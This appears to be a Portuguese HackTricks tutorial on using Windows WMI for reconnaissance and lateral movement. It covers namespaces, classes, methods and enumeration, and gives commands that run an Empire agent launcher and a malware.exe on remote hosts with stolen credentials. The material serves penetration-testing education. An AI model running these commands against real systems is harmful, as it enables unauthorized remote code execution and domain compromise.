7.6 KiB
WmicExec
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub HackTricks e HackTricks Cloud.
Como Funciona
Wmi permite abrir processos em hosts onde você conhece o nome de usuário/(senha/Hash). Então, Wmiexec usa wmi para executar cada comando que é solicitado (é por isso que Wmicexec oferece um shell semi-interativo).
dcomexec.py: Este script oferece um shell semi-interativo semelhante ao wmiexec.py, mas usando diferentes pontos finais DCOM (objeto DCOM ShellBrowserWindow). Atualmente, ele suporta objetos MMC20. Application, Shell Windows e Shell Browser Window. (de aqui)
Fundamentos do WMI
Namespace
WMI é dividido em uma hierarquia estilo diretório, o contêiner \root, com outros diretórios sob \root. Esses "caminhos de diretório" são chamados de namespaces.
Listar namespaces:
#Get Root namespaces
gwmi -namespace "root" -Class "__Namespace" | Select Name
#List all namespaces (you may need administrator to list all of them)
Get-WmiObject -Class "__Namespace" -Namespace "Root" -List -Recurse 2> $null | select __Namespace | sort __Namespace
#List namespaces inside "root\cimv2"
Get-WmiObject -Class "__Namespace" -Namespace "root\cimv2" -List -Recurse 2> $null | select __Namespace | sort __Namespace
Listar classes de um namespace com:
gwmwi -List -Recurse #If no namespace is specified, by default is used: "root\cimv2"
gwmi -Namespace "root/microsoft" -List -Recurse
Classes
O nome da classe WMI, por exemplo: win32_process, é um ponto de partida para qualquer ação WMI. Precisamos sempre saber o Nome da Classe e o Namespace onde ela está localizada.
Listar classes começando com win32
:
Get-WmiObject -Recurse -List -class win32* | more #If no namespace is specified, by default is used: "root\cimv2"
gwmi -Namespace "root/microsoft" -List -Recurse -Class "MSFT_MpComput*"
Chamar uma classe:
#When you don't specify a namespaces by default is "root/cimv2"
Get-WmiObject -Class win32_share
Get-WmiObject -Namespace "root/microsoft/windows/defender" -Class MSFT_MpComputerStatus
Métodos
Classes WMI possuem uma ou mais funções que podem ser executadas. Essas funções são chamadas de métodos.
#Load a class using [wmiclass], leist methods and call one
$c = [wmiclass]"win32_share"
$c.methods
#Find information about the class in https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-share
$c.Create("c:\share\path","name",0,$null,"My Description")
#If returned value is "0", then it was successfully executed
#List methods
Get-WmiObject -Query 'Select * From Meta_Class WHERE __Class LIKE "win32%"' | Where-Object { $_.PSBase.Methods } | Select-Object Name, Methods
#Call create method from win32_share class
Invoke-WmiMethod -Class win32_share -Name Create -ArgumentList @($null, "Description", $null, "Name", $null, "c:\share\path",0)
Enumeração WMI
Verificar serviço WMI
Assim você pode verificar se o serviço WMI está em execução:
#Check if WMI service is running
Get-Service Winmgmt
Status Name DisplayName
------ ---- -----------
Running Winmgmt Windows Management Instrumentation
#From CMD
net start | findstr "Instrumentation"
Informações do Sistema
Get-WmiObject -ClassName win32_operatingsystem | select * | more
Informações do Processo
Get-WmiObject win32_process | Select Name, Processid
Do ponto de vista de um atacante, o WMI pode ser muito valioso para enumerar informações sensíveis sobre um sistema ou o domínio.
wmic computerystem list full /format:list
wmic process list /format:list
wmic ntdomain list /format:list
wmic useraccount list /format:list
wmic group list /format:list
wmic sysaccount list /format:list
Get-WmiObject Win32_Processor -ComputerName 10.0.0.182 -Credential $cred
Consulta Remota Manual WMI
Por exemplo, aqui está uma maneira muito discreta de descobrir administradores locais em uma máquina remota (observe que domínio é o nome do computador):
{% code overflow="wrap" %}
wmic /node:ordws01 path win32_groupuser where (groupcomponent="win32_group.name=\"administrators\",domain=\"ORDWS01\"")
{% endcode %}
Outro oneliner útil é para ver quem está logado em uma máquina (quando você está caçando administradores):
wmic /node:ordws01 path win32_loggedonuser get antecedent
wmic
pode até ler nós de um arquivo de texto e executar o comando em todos eles. Se você tem um arquivo de texto de estações de trabalho:
wmic /node:@workstations.txt path win32_loggedonuser get antecedent
Vamos criar remotamente um processo via WMI para executar um agente do Empire:
wmic /node:ordws01 /user:CSCOU\jarrieta path win32_process call create "**empire launcher string here**"
Vemos que foi executado com sucesso (ReturnValue = 0). E um segundo depois, nosso listener do Empire o captura. Note que o ID do processo é o mesmo que o WMI retornou.
Todas essas informações foram extraídas daqui: https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/
Ferramentas Automáticas
{% code overflow="wrap" %}
SharpLateral redwmi HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do HackTricks e HackTricks Cloud.